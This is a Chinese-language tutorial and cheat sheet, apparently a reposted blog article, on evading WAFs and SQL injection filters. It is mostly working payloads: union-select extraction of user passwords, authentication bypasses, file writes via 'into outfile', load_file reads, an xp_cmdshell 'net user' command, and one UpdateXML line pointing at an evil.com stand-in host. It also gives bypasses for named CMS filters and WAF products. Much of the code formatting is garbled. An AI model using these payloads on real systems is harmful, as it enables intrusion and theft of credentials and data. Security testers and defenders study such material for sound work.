天天看點

深入了解SQL注入繞過WAF與過濾機制

知己知彼,百戰不殆 --孫子兵法

[目錄]

0x0 前言

0x1 WAF的常見特征

0x2 繞過WAF的方法

0x3 SQLi Filter的實作及Evasion

0x4 延伸及測試向量示例

0x5 本文小結

0x6 參考資料

促使本文産生最初的動機是前些天在做測試時一些攻擊向量被WAF擋掉了,而且遇到異常輸入直接發生重定向。之前對WAF并不太了解,是以趁此機會科普一下并查閱了一些繞過WAF的方法。網上關于繞過WAF有諸多文章,但是觀察之後會發現大體上繞過WAF的方法就那八、九種,而且這些技術出來也有些日子了,繼續使用這些方法是否有效有待于我們在實際中去驗證。看過數篇繞過WAF的文章後,前人對技術的總結已經比較全面,但是完整的内容可能分布在各處,查閱起來不太友善。另外,我們談繞過WAF,其實就是談如何繞過過濾機制,如果在讨論bypass技術的時候明确一下現有的一些filter的實作及其

evasion,對于我這樣的初學者來說是不是更好?還有就是如果在文章後面可以提供一些測試向量提供思路和參考,内容看起來很雜,但是也會比較友善呢?

抱着這些想法,同時也頂着巨大的壓力(前人工作已經比較完善,這麼大的資訊量總結起來對我是一次挑戰),我還是決定寫出本文,這樣更能适應自己的需求,也可能更加适合一些朋友的需求。

本文内容從技術上來說并非原創,也沒有很新的或重大的發現,乃是這幾天從各種資料資訊中進行整理所得。本文會對形如http://www.site.com的URI進行簡化,約定為z.com。

0x1 WAF的常見特征

之是以要談到WAF的常見特征,是為了更好的了解WAF的運作機制,這樣就能增加幾分繞過的機會了。本文不對WAF做詳細介紹,隻談及幾點相關的。

總體來說,WAF(Web Application Firewall)的具有以下四個方面的功能:

1. 審計裝置:用來截獲所有HTTP資料或者僅僅滿足某些規則的會話

2. 通路控制裝置:用來控制對Web應用的通路,既包括主動安全模式也包括被動安全模式

3. 架構/網絡設計工具:當運作在反向代理模式,他們被用來配置設定職能,集中控制,虛拟基礎結構等。

4.

WEB應用加強工具:這些功能增強被保護Web應用的安全性,它不僅能夠屏蔽WEB應用固有弱點,而且能夠保護WEB應用程式設計錯誤導緻的安全隐患。

WAF的常見特點:

異常檢測協定:拒絕不符合HTTP标準的請求

增強的輸入驗證:代理和服務端的驗證,而不隻是限于用戶端驗證

白名單&黑名單:白名單适用于穩定的We應用,黑名單适合處理已知問題

基于規則和基于異常的保護:基于規則更多的依賴黑名單機制,基于異常更為靈活

狀态管理:重點進行會話保護

另還有:Coikies保護、抗入侵規避技術、響應監視和資訊洩露保護等

如果是對于掃描器,WAF有其識别之道:

掃描器識别主要由以下幾點:

1) 掃描器指紋(head字段/請求參數值),以wvs為例,會有很明顯的Acunetix在内的辨別

2)  單IP+ cookie某時間段内觸發規則次數

3)  隐藏的連結标簽等(<a>)

4)  Cookie植入

5)  驗證碼驗證,掃描器無法自動填充驗證碼

6)

 單IP請求時間段内Webserver傳回http狀态404比例, 掃描器探測敏感目錄基于字典,找不到檔案則傳回404

 從目前能找到的資料來看,我把這些繞過waf的技術分為9類,包含從初級到進階技巧

a) 大小寫混合

b)替換關鍵字

c)使用編碼

d)使用注釋

e)等價函數與指令

f)特殊符号

g)HTTP參數控制

h)緩沖區溢出

i)整合繞過

a) 大小寫繞過

大小寫繞過用于隻針對小寫或大寫的關鍵字比對技術,正規表達式/express/i

大小寫不敏感即無法繞過,這是最簡單的繞過技術

舉例:z.com/index.php?page_id=-15 uNIoN sELecT

1,2,3,4 

示例場景可能的情況為filter的規則裡有對大小寫轉換的處理,但不是每個關鍵字或每種情況都有處理

這種情況下大小寫轉化無法繞過,而且正規表達式會替換或删除select、union這些關鍵字,如果隻比對一次就很容易繞過

舉例:z.com/index.php?page_id=-15 UNIunionON SELselectECT

1,2,3,4

同樣是很基礎的技術,有些時候甚至構造得更複雜:SeLSeselectleCTecT,不建議對此抱太大期望

1.URL編碼

在Chrome中輸入一個連接配接,非保留字的字元浏覽器會對其URL編碼,如空格變為%20、單引号%27、左括号%28、右括号%29

普通的URL編碼可能無法實作繞過,還存在一種情況URL編碼隻進行了一次過濾,可以用兩次編碼繞過:page.php?id=1%252f%252a*/UNION%252f%252a

/SELECT

2.十六進制編碼

舉例:z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/

1,2,3,4…

SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

示例代碼中,前者是對單個字元十六進制編碼,後者則是對整個字元串編碼,使用上來說較少見一點

3.Unicode編碼

Unicode有所謂的标準編碼和非标準編碼,假設我們用的utf-8為标準編碼,那麼西歐語系所使用的就是非标準編碼了

看一下常用的幾個符号的一些Unicode編碼:

單引号:  

%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

舉例:?id=10%D6‘%20AND%201=2%23

SELECT ‘?‘=‘A‘; #1

兩個示例中,前者利用雙位元組繞過,比如對單引号轉義操作變成\‘,那麼就變成了%D6%5C‘,%D6%5C構成了一個款位元組即Unicode位元組,單引号可以正常使用

第二個示例使用的是兩種不同編碼的字元的比較,它們比較的結果可能是True或者False,關鍵在于Unicode編碼種類繁多,基于黑名單的過濾器無法處理是以情況,進而實作繞過

另外平時聽得多一點的可能是utf-7的繞過,還有utf-16、utf-32的繞過,後者從成功的實作對google的繞過,有興趣的朋友可以去了解下

常見的編碼當然還有二進制、八進制,它們不一定都派得上用場,但後面會提到使用二進制的例子

d) 使用注釋

看一下常見的用于注釋的符号有哪些: //, -- , /**/, #, --+,--  -,

; , --a

1.普通注釋

舉例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT

‘union%a0select pass from users#

/**/在構造得查詢語句中插入注釋,規避對空格的依賴或關鍵字識别;#、--+用于終結語句的查詢

2.内聯注釋

相比普通注釋,内聯注釋用的更多,它有一個特性/!**/隻有MySQL能識别

舉例:index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…

兩個示例中前者使用内聯注釋,後者還用到了普通注釋。使用注釋一個很有用的做法便是對關鍵字的拆分,要做到這一點後面讨論的特殊符号也能實作,當然前提是包括/、*在内的這些字元能正常使用

有些函數或指令因其關鍵字被檢測出來而無法使用,但是在很多情況下可以使用與之等價或類似的代碼替代其使用

1.函數或變量

1

2

3

5

6

7

8

9

10

11

<code>hex()、bin() ==&gt; ascii()</code>

<code>sleep() ==&gt;benchmark()</code>

<code>concat_ws()==&gt;group_concat()</code>

<code>mid()、substr() ==&gt; substring()</code>

<code>@</code><code>@user</code>

<code>==&gt; user()</code>

<code>@</code><code>@datadir</code>

<code>==&gt; datadir()</code>

舉例:substring()和substr()無法使用時:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74

或者:

<code>substr((select</code><code>‘password‘</code><code>),</code><code>1</code><code>,</code><code>1</code><code>) =</code><code>0x70</code>

<code>strcmp(left(</code><code>‘password‘</code><code>,</code><code>1</code><code>),</code><code>0x69</code><code>) =</code><code>1</code>

<code>  </code><code>strcmp(left(</code><code>‘password‘</code><code>,</code><code>1</code><code>),</code><code>0x70</code><code>) =</code><code>0</code>

<code>strcmp(left(</code><code>‘password‘</code><code>,</code><code>1</code><code>),</code><code>0x71</code><code>) = -</code><code>1</code>

上述這幾個示例用于說明有時候當某個函數不能使用時,還可以找到其他的函數替代其實作,置于select、uinon、where等關鍵字被限制如何處理将在後面filter部分讨論

2.符号

and和or有可能不能使用,或者可以試下&amp;&amp;和||能不能用;還有=不能使用的情況,可以考慮嘗試&lt;、&gt;,因為如果不小于又不大于,那邊是等于了

在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/

3.生僻函數

MySQL/PostgreSQL支援XML函數:

<code>Select UpdateXML(‘&lt;script x=_&gt;&lt;/script&gt; ’,’/script/</code><code>@x</code><code>/’,’src=</code><code>//evil.com’);</code>

<code>?id=</code><code>1</code>

<code>and</code><code>1</code><code>=(updatexml(</code><code>1</code><code>,concat(</code><code>0x3a</code><code>,(select user())),</code><code>1</code><code>))</code>

<code>SELECT xmlelement(name img,xmlattributes(1as src,</code><code>‘a\l\x65rt(1)‘</code><code>as \117n\x65rror));</code><code>//postgresql</code>

?id=1 and extractvalue(1, concat(0x5c, (select table_name from

information_schema.tables limit 1)));

MySQL、PostgreSQL、Oracle它們都有許多自己的函數,基于黑名單的filter要想涵蓋這麼多東西從實際上來說不太可能,而且代價太大,看來黑名單技術到一定程度便遇到了限制

f) 特殊符号

這裡我把非字母數字的字元都規在了特殊符号一類,特殊符号有特殊的含義和用法,涉及資訊量比前面提到的幾種都要多

先看下烏雲drops上“waf的繞過技巧”一文使用的幾個例子:

1.使用反引号`,例如select `version()`,可以用來過空格和正則,特殊情況下還可以将其做注釋符用

2.神奇的"-+.",select+id-1+1.from

users; “+”是用于字元串連接配接的,”-”和”.”在此也用于連接配接,可以逃過空格和關鍵字過濾

3.@符号,select@^1.from

users; @用于變量定義如 @ var_name ,一個@表示使用者定義,@@表示系統變量

4.Mysql function() as xxx  也可不用as和空格

 select-count(id)test from users;  //繞過空格限制

可見,使用這些字元的确是能做很多事,也證明了那句老話,隻有想不到,沒有做不到

本人搜羅了部分可能發揮大作用的字元(未包括‘、*、/等在内,考慮到前面已經出現較多次了):`、~、!、@、%、()、[]、.、-、+

、|、%00

舉例:

關鍵字拆分:‘se’+’lec’+’t’

%S%E%L%E%C%T 1

1.aspx?id=1;EXEC(‘ma’+‘ster..x’+‘p_cm’+‘dsh’+‘ell ”net

user”’)

!和():‘ or --+2=- -!!!‘2

   id=1+(UnI)(oN)+(SeL)(EcT)

//另 Access中,”[]”用于表和列,”()”用于數值也可以做分隔

本節最後在給出一些和這些字元多少有點關系的操作符供參考:

&gt;&gt;, &lt;&lt;, &gt;=, &lt;=, &lt;&gt;,&lt;=&gt;,XOR, DIV,

SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN

使用這些"特殊符号"實作繞過是一件很細微的事情,一方面各家資料庫對有效符号的處理是不一樣的,另一方面你得充分了解這些符号的特性和使用方法才能作為繞過手段

g) HTTP參數控制

這裡HTTP參數控制除了對查詢語句的參數進行篡改,還包括HTTP方法、HTTP頭的控制

1.HPP(HTTP Parameter Polution)

舉例:/?id=1;select+1,2,3+from+users+where+id=1—

/?id=1;select+1&amp;id=2,3+from+users+where+id=1—

/?id=1/**/union/*&amp;id=*/select/*&amp;id=*/pwd/*&amp;id=*/from/*&amp;id=*/users

HPP又稱做重複參數污染,最簡單的就是?uid=1&amp;uid=2&amp;uid=3,對于這種情況,不同的Web伺服器處理方式如下:

深入了解SQL注入繞過WAF與過濾機制

具體WAF如何處理,要看其設定的規則,不過就示例中最後一個來看有較大可能繞過

2.HPF(HTTP Parameter Fragment)

這種方法是HTTP分割注入,同CRLF有相似之處(使用控制字元%0a、%0d等執行換行)

/?a=1+union/*&amp;b=*/select+1,pass/*&amp;c=*/from+users--

select * from table where a=1 union/* and b=*/select 1,pass/*

limit */from users—

看罷上面兩個示例,發現和HPP最後一個示例很像,不同之處在于參數不一樣,這裡是在不同的參數之間進行分割,到了資料庫執行查詢時再合并語句。

3.HPC(HTTP Parameter Contamination)

這一概念見于exploit-db上的paper:Beyond SQLi: Obfuscate and

Bypass,Contamination同樣意為污染

RFC2396定義了如下一些字元:

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ‘ () 

Reserved :

; / ? : @ &amp; = + $ , 

Unwise : { } | \ ^ [ ] `

不同的Web伺服器處理處理構造得特殊請求時有不同的邏輯:

深入了解SQL注入繞過WAF與過濾機制

以魔術字元%為例,Asp/Asp.net會受到影響

深入了解SQL注入繞過WAF與過濾機制

h) 緩沖區溢出(Advanced)

緩沖區溢出用于對付WAF,有不少WAF是C語言寫的,而C語言自身沒有緩沖區保護機制,是以如果WAF在處理測試向量時超出了其緩沖區長度,就會引發bug進而實作繞過

?id=1 and (select 1)=(Select

0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA後面”A"重複1000次,一般來說對應用軟體構成緩沖區溢出都需要較大的測試長度,這裡1000隻做參考,在某些情況下可能不需要這麼長也能溢出

i) 整合繞過

整合的意思是結合使用前面談到的各種繞過技術,單一的技術可能無法繞過過濾機制,但是多種技術的配合使用成功的可能性就會增加不少了。這一方面來說是總體與局部和的關系,另一方面則是多種技術的使用創造了更多的可能性,除非每一種技術單獨都無法使用,否則它們能産生比自身大得多的能量。

SQL Injection時用得最多的一些關鍵字如下:and, or, union, where, limit, group

by, select, ‘, hex, substr, white space

對它們的檢測,完整正規表達式為:preg_match(‘/(and|or|union|where|limit|group

by|select|\‘|hex|substr|\s)/i‘, $id)

其應對方式依次為:

12

13

14

15

16

<code>***note***:</code><code>"=&gt;"</code><code>左邊表示會被Filtered的語句,</code><code>"=&gt;"</code><code>右邊表示成功Bypass的語句,左邊标紅的為被Filtered的關鍵字,右邊标藍的為替代其功能的函數或關鍵字</code>

<code>and =&gt; &amp;&amp;   or =&gt; ||</code>

<code>union select user, password from users   =&gt;  </code><code>1</code>

<code>|| (select user from users where user_id =</code><code>1</code><code>) = ‘admin</code>

<code>1</code>

<code>|| (select user from users where user_id =</code><code>1</code><code>) =</code><code>‘admin‘</code><code>  =&gt;  </code><code>1</code>

<code>|| (select user from users limit</code><code>1</code><code>) = ‘admin</code>

<code>|| (select user from users limit</code><code>1</code><code>) =</code><code>‘admin‘</code>

<code>=&gt;  </code><code>1</code>

<code>|| (select user from users group by user_id having user_id =</code><code>1</code><code>) =</code><code>‘admin‘</code>

<code>=&gt; </code><code>1</code>

<code>|| (select substr(group_concat(user_id),</code><code>1</code><code>,</code><code>1</code><code>) user from users )=</code><code>1</code>

<code>|| (select substr(group_concat(user_id),</code><code>1</code><code>,</code><code>1</code><code>) user from users) =</code><code>1</code>

<code>=&gt;  </code><code>1</code>

<code>||</code><code>1</code>

<code>=</code><code>1</code>

<code>into outfile</code><code>‘result.txt‘</code><code> 或者 </code><code>1</code>

<code>|| substr(user,</code><code>1</code><code>,</code><code>1</code><code>) =</code><code>‘a‘</code><code> </code>

<code> =&gt;  </code><code>1</code>

<code>|| user_id is not</code><code>null</code>

<code>或者</code><code>1</code>

<code>|| substr(user,</code><code>1</code><code>,</code><code>1</code><code>) =</code><code>0x61</code>

<code>   或者</code><code>1</code>

<code>|| substr(user,</code><code>1</code><code>,</code><code>1</code><code>) = unhex(</code><code>61</code><code>)  </code><code>// ‘ Filtered</code>

<code>|| substr(user,</code><code>1</code><code>,</code><code>1</code><code>) = unhex(</code><code>61</code><code>)  =&gt;   </code><code>1</code>

<code>|| substr(user,</code><code>1</code><code>,</code><code>1</code><code>) = lower(conv(</code><code>11</code><code>,</code><code>10</code><code>,</code><code>36</code><code>))</code>

<code>|| substr(user,</code><code>1</code><code>,</code><code>1</code><code>) = lower(conv(</code><code>11</code><code>,</code><code>10</code><code>,</code><code>36</code><code>)) =&gt;  </code><code>1</code>

<code>|| lpad(user,</code><code>7</code><code>,</code><code>1</code><code>)</code>

<code>|| lpad(user,</code><code>7</code><code>,</code><code>1</code><code>)  =&gt;  </code><code>1</code><code>%0b||%0blpad(user,</code><code>7</code><code>,</code><code>1</code><code>)  </code><code>// ‘ ‘ Filtered</code>

 從上面給出的示例來看,沒有絕對的過濾,即便平時建構一個正常SQL語句的全部關鍵字都被過濾了,我們也還是能找到Bypass的方法。普世的陽光和真理尚且照不到每一個角落,人為建構出來的一個工具WAF就更加不可能盡善盡美了。我們可以相信WAF能為我們抵擋很多攻擊,但是絕不能百分之一百的依賴它,就算它有着世上最為健全的規則,它本身也是會存在缺陷的。

從前面到現在,基本上每條注入語句中都有數字,如果某查詢的資料類型為字元串、或者做了嚴格限制數字要被和諧掉,這就有點棘手了,不過辦法總是有的:

深入了解SQL注入繞過WAF與過濾機制
深入了解SQL注入繞過WAF與過濾機制

上面兩張圖,第一張是不能使用數字時通過使用數學函數得到某個數字的值,第二章則是這些數字對應的36進制的值,是以有時候一個很簡單的表達式可能會很複雜或者非常長,其實際就是計算mod(a,b):

<code>(mod(length(trim(leading(concat(lower(conv(version()*(</code><code>true</code><code>+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(),</code>

<code>pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),conv(version()*(</code><code>true</code><code>+pi()),pi()*pi(),pow(pi(),pi())),lower(conv(pi()*pi()*pi()-pi()-pi(),pi()*pi(),pow(pi(),pi()))),lower(conv(pi()*version(),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*version())+</code><code>true</code><code>,pi()*pi(),pow(pi(), pi()))),lower(conv(ceil((pi()+ceil(pi()))*pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi())*ceil(pi()+pi()),pi()*pi(),pow(pi(),pi()))),conv(ceil(pi()*version()),pi()*pi(),pow(pi(),pi())),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(version()*version()),pi()*pi(),pow(pi(),pi()))),lower(conv(ceil(pi()*pi()+pi()),pi()*pi(),pow(pi(),pi())))))from(pass))),length(pass))</code>

a) CMS繞過執行個體

b) WAF繞過示例

c) SQLi Filter Evasion Cheat sheet

d) 測試向量

a) Web應用繞過示例

1. e107 CMS

<code>$inArray = array(</code><code>"‘"</code><code>,</code><code>";"</code><code>,</code><code>"/**/"</code><code>,</code><code>"/UNION/"</code><code>,</code><code>"/SELECT/"</code><code>,</code><code>"AS "</code><code>);</code>

<code>if</code>

<code>(strpos($_SERVER[</code><code>‘PHP_SELF‘</code><code>],</code><code>"trackback"</code><code>) ===</code><code>false</code><code>) {</code>

<code>foreach($inArray as $res) {</code>

<code>if</code><code>(stristr($_SERVER[</code><code>‘QUERY_STRING‘</code><code>], $res)) {</code>

<code>die(</code><code>"Access denied."</code><code>);</code>

<code>}}}</code>

<code>Bypass: vuln.php/trackback?inject=UNI%6fN SELECT</code>

2.  PHP-Nuke CMS

<code>if</code><code>(isset($_SERVER[</code><code>‘QUERY_STRING‘</code><code>])</code>

<code>&amp;&amp; (!stripos($_SERVER[</code><code>‘QUERY_STRING‘</code><code>],</code><code>"ad_click"</code><code>))) {</code>

<code>$queryString = $_SERVER[</code><code>‘QUERY_STRING‘</code><code>];</code>

<code>( stripos($queryString,</code><code>‘%20union%20‘</code><code>)</code>

<code>OR stripos($queryString,</code><code>‘/*‘</code><code>)</code>

<code>OR stripos($queryString,</code><code>‘*/union/*‘</code><code>)</code>

<code>OR stripos($queryString,</code><code>‘+union+‘</code><code>)</code>

<code>OR stripos($queryString,</code><code>‘concat‘</code><code>)) { die(</code><code>‘Illegal Operation‘</code><code>); }</code>

<code>Bypass: vuln.php?inject=%a0UNI%6fN(SELECT</code><code>‘ad_click‘</code>

3.  TYPO3 CMS

1. ModSecurity CRS 2.0.9 

2. PHPIDS 0.6.4 

foo‘div count(select`pass`from(users)where mid(pass,1,1)rlike

lower(conv(10,pi()*pi(),pi()*pi())) )-‘0

a‘in(true) and false

*/*!(true)union #newline   select

pass`alias`from users where true*/* n‘1

3. GreenSQL 1.3.0 

檢測關鍵字:union, information_schema, into outfile, current_user,

current_date, version

檢測函數:mid(), substring(), substr(), load_file(), benchmark(),

user(), database(), version()

<code>adm</code><code>‘ ‘</code><code>in</code><code>‘ or 1=‘</code><code>1</code>       

<code>// auth bypass</code>

<code>‘-(1)union(select table_name,load_file(‘</code><code>/tmp/test‘),@</code><code>@version</code>

<code>from</code><code>/*! information_schema.tables */</code><code>);%</code><code>00</code>   

<code>//select union</code>

<code>‘-‘</code><code>‘ into%a0outfile ‘</code><code>/tmp/test  </code><code>//write to file</code>

c) SQLi Filter Evasion Cheat sheet

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

<code>#注釋</code>

<code>‘ or</code><code>1</code><code>=</code><code>1</code><code>#</code>

<code>‘ or</code><code>1</code><code>=</code><code>1</code><code>/* (MySQL &lt; 5.1)</code>

<code>‘ or 1=1;%00</code>

<code>‘ or 1=1 union select 1,2 as `</code>

<code>‘ or#newline</code>

<code>‘ /*!50000or*/</code><code>1</code><code>=‘</code><code>1</code>

<code>‘ /*!or*/1=‘</code><code>1</code>

<code>#字首</code>

<code>+ – ~ !</code>

<code>‘ or –+</code><code>2</code><code>=- -!!!’</code><code>2</code>

<code>#操作符:</code>

<code>^, =, !=, %, /, *, &amp;, &amp;&amp;, |, ||, , &gt;&gt;, &lt;=, &lt;=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL</code>

<code>#空格</code>

<code>%</code><code>20</code>

<code>%</code><code>09</code>

<code>%0a %0b %0c %0d %a0</code><code>/**/</code>

<code>‘or+(</code><code>1</code><code>)sounds</code><code>/**/</code><code>like“</code><code>1</code><code>“–%a0-</code>

<code>‘union(select(</code><code>1</code><code>),tabe_name,(</code><code>3</code><code>)from`information_schema`.`tables`)#</code>

<code>#有引号的字元串</code>

<code>SELECT ‘a’</code>

<code>SELECT “a”</code>

<code>SELECT n’a’</code>

<code>SELECT b’</code><code>1100001</code><code>′</code>

<code>SELECT _binary’</code><code>1100001</code><code>′</code>

<code>SELECT x’</code><code>61</code><code>′</code>

<code>#沒有引号的字元串</code>

<code> ‘abc’ =</code><code>0</code><code>×</code><code>616263</code>

<code>  </code><code>‘ and substr(data,1,1) = ‘</code><code>a‘#</code>

<code>  ‘ and substr(data,</code><code>1</code><code>,</code><code>1</code><code>) =</code><code>0x61</code>

<code>#</code><code>0x6162</code>

<code>  ‘ and substr(data,</code><code>1</code><code>,</code><code>1</code><code>) = unhex(</code><code>61</code><code>)    # unhex(</code><code>6162</code><code>)</code>

<code>  ‘ and substr(data,</code><code>1</code><code>,</code><code>1</code><code>) =</code><code>char</code><code>(</code><code>97</code> 

<code>)#</code><code>char</code><code>(</code><code>97</code><code>,</code><code>98</code><code>)</code>

<code>  ‘ and hex(substr(data,</code><code>1</code><code>,</code><code>1</code><code>)) =</code><code>61</code><code>#</code>

<code>  ‘ and ascii(substr(data,</code><code>1</code><code>,</code><code>1</code><code>)) =</code><code>97</code><code>#</code>

<code>  ‘ and ord(substr(data,</code><code>1</code><code>,</code><code>1</code><code>)) =</code><code>97</code><code>#</code>

<code>  </code><code>‘ and substr(data,1,1) = lower(conv(10,10,36))# ‘</code><code>a‘</code>

<code>#别名</code>

<code>select pass as alias from users</code>

<code>select pass`alias alias`from users</code>

<code>#字型</code>

<code>‘ or</code><code>true</code>

<code>= ’</code><code>1</code>

<code># or</code><code>1</code><code>=</code><code>1</code>

<code>‘ or round(pi(),</code><code>1</code><code>)+</code><code>true</code><code>+</code><code>true</code>

<code>= version() # or</code><code>3.1</code><code>+</code><code>1</code><code>+</code><code>1</code>

<code>=</code><code>5.1</code>

<code>‘ or ’</code><code>1</code>

<code># or</code><code>true</code>

<code>#操作符字型</code>

<code>select * from users where ‘a’=</code><code>‘b’=‘</code><code>c’</code>

<code>select * from users where (‘a’=‘b’)=’c’</code>

<code>select * from users where (</code><code>false</code><code>)=’c’</code>

<code>#認真繞過‘=’</code>

<code>select * from users where name = ”=”</code>

<code>select * from users where</code><code>false</code>

<code>= ”</code>

<code>select * from users where</code><code>0</code>

<code>=</code><code>0</code>

<code>select * from users where</code><code>true</code><code>#函數過濾器ascii (</code><code>97</code><code>)</code>

<code>load_file</code><code>/*foo*/</code><code>(</code><code>0</code><code>×</code><code>616263</code><code>)</code>

<code>#用函數建構字元串</code>

<code>‘abc’ = unhex(</code><code>616263</code><code>)</code>

<code>‘abc’ =</code><code>char</code><code>(</code><code>97</code><code>,</code><code>98</code><code>,</code><code>99</code><code>)</code>

<code> </code><code>hex(‘a’) =</code><code>61</code>

<code> </code><code>ascii(‘a’) =</code><code>97</code>

<code> </code><code>ord(‘a’) =</code><code>97</code>

<code>‘ABC’ = concat(conv(</code><code>10</code><code>,</code><code>10</code><code>,</code><code>36</code><code>),conv(</code><code>11</code><code>,</code><code>10</code><code>,</code><code>36</code><code>),conv(</code><code>12</code><code>,</code><code>10</code><code>,</code><code>36</code><code>))</code>

<code>#特殊字元</code>

<code>  aes_encrypt(</code><code>1</code><code>,</code><code>12</code><code>)</code><code>// 4鏷眥?"^z譎é蒃a</code>

<code>  des_encrypt(</code><code>1</code><code>,</code><code>2</code><code>)                     </code><code>// 侴ò/镏k</code>

<code>  @</code><code>@ft_boolean_syntax</code>                  

<code>// + -&gt;&lt;()~*:""&amp;|</code>

<code>  @</code><code>@date_format</code>                        

<code>// %Y-%m-%d</code>

<code>  @</code><code>@innodb_log_group_home_dir</code>      

<code>// .\</code>

<code>@</code><code>@new</code><code>:</code><code>0</code>

<code>@</code><code>@log_bin</code><code>:</code><code>1</code>

<code>#提取子字元串substr(‘abc’,</code><code>1</code><code>,</code><code>1</code><code>) = ‘a’</code>

<code>substr(‘abc’ from</code><code>1</code>

<code>for</code> <code>1</code><code>) = ‘a’</code>

<code>substring(‘abc’,</code><code>1</code><code>,</code><code>1</code><code>) = ‘a’</code>

<code>substring(‘abc’ from</code><code>1</code>

<code>mid(‘abc’,</code><code>1</code><code>,</code><code>1</code><code>) = ‘a’</code>

<code>mid(‘abc’ from</code><code>1</code>

<code>lpad(‘abc’,</code><code>1</code><code>,space(</code><code>1</code><code>)) = ‘a’</code>

<code>rpad(‘abc’,</code><code>1</code><code>,space(</code><code>1</code><code>)) = ‘a’</code>

<code>left(‘abc’,</code><code>1</code><code>) = ‘a’</code>

<code>reverse(right(reverse(‘abc’),</code><code>1</code><code>)) = ‘a’</code>

<code>insert(insert(‘abc’,</code><code>1</code><code>,</code><code>0</code><code>,space(</code><code>0</code><code>)),</code><code>2</code><code>,</code><code>222</code><code>,space(</code><code>0</code><code>)) = ‘a’</code>

<code>space(</code><code>0</code><code>) = trim(version()from(version()))</code>

<code>#搜尋子字元串</code>

<code>locate(‘a’,‘abc’)</code>

<code>position(‘a’,‘abc’)</code>

<code>position(‘a’ IN ‘abc’)</code>

<code>instr(‘abc’,‘a’)</code>

<code>substring_index(‘ab’,‘b’,</code><code>1</code><code>)</code>

<code>#分割字元串</code>

<code>length(trim(leading ‘a’ FROM ‘abc’))</code>

<code>length(replace(‘abc’, ‘a’, ”))</code>

<code>#比較字元串</code>

<code>strcmp(‘a’,‘a’)</code>

<code>mod(‘a’,‘a’)</code>

<code>find_in_set(‘a’,‘a’)</code>

<code>field(‘a’,‘a’)</code>

<code>count(concat(‘a’,‘a’))</code>

<code>#字元串長度</code>

<code>length()</code>

<code>bit_length()</code>

<code>char_length()</code>

<code>octet_length()</code>

<code>bit_count()</code>

<code>#關鍵字過濾</code>

<code>Connected keyword filtering</code>

<code>(</code><code>0</code><code>)union(select(table_name),column_name,…</code>

<code>0</code><code>/**/</code><code>union</code><code>/*!50000select*/</code><code>table_name`foo`</code><code>/**/</code><code>…</code>

<code>0</code><code>%a0union%a0select%09group_concat(table_name)….</code>

<code>0</code><code>′union all select all`table_name`foo from`information_schema`. `tables`</code>

<code>#控制流</code>

<code>case</code>

<code>‘a’ when ‘a’ then</code><code>1</code>

<code>[</code><code>else</code>

<code>0</code><code>] end</code>

<code>when ‘a’=‘a’ then</code><code>1</code>

<code>if</code><code>(‘a’=‘a’,</code><code>1</code><code>,</code><code>0</code><code>)</code>

<code>ifnull(nullif(‘a’,‘a’),</code><code>1</code><code>)</code>

<code>%55nion(%53elect</code><code>1</code><code>,</code><code>2</code><code>,</code><code>3</code><code>)-- -</code>

<code>+union+distinctROW+select+</code>

<code>/**/</code><code>/*!12345UNION SELECT*/</code><code>/**/</code>

<code>/**/</code><code>UNION</code><code>/**/</code><code>/*!50000SELECT*/</code><code>/**/</code>

<code>/*!50000UniON SeLeCt*/</code>

<code>+#uNiOn+#sEleCt</code>

<code>+#1q%0AuNiOn all#qa%0A#%0AsEleCt</code>

<code>/*!u%6eion*/</code>

<code>/*!se%6cect*/</code>

<code>+un</code><code>/**/</code><code>ion+se</code><code>/**/</code><code>lect</code>

<code>uni%0bon+se%0blect</code>

<code>%2f**%2funion%2f**%2fselect</code>

<code>union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A</code>

<code>REVERSE(noinu)+REVERSE(tceles)</code>

<code>/*--*/</code><code>union</code><code>/*--*/</code><code>select</code><code>/*--*/</code>

<code>union (</code><code>/*!/**/</code>

<code>SeleCT */</code><code>1</code><code>,</code><code>2</code><code>,</code><code>3</code><code>)</code>

<code>/*!union*/</code><code>+</code><code>/*!select*/</code>

<code>union+</code><code>/*!select*/</code>

<code>/**/</code><code>/*!union*/</code><code>/**/</code><code>/*!select*/</code><code>/**/</code>

<code>/*!uNIOn*/</code>

<code>/*!SelECt*/</code>

<code>-</code><code>15</code><code>+(uNioN)+(sElECt)</code>

<code>-</code><code>15</code><code>+(UnI)(oN)+(SeL)(ecT)+</code>

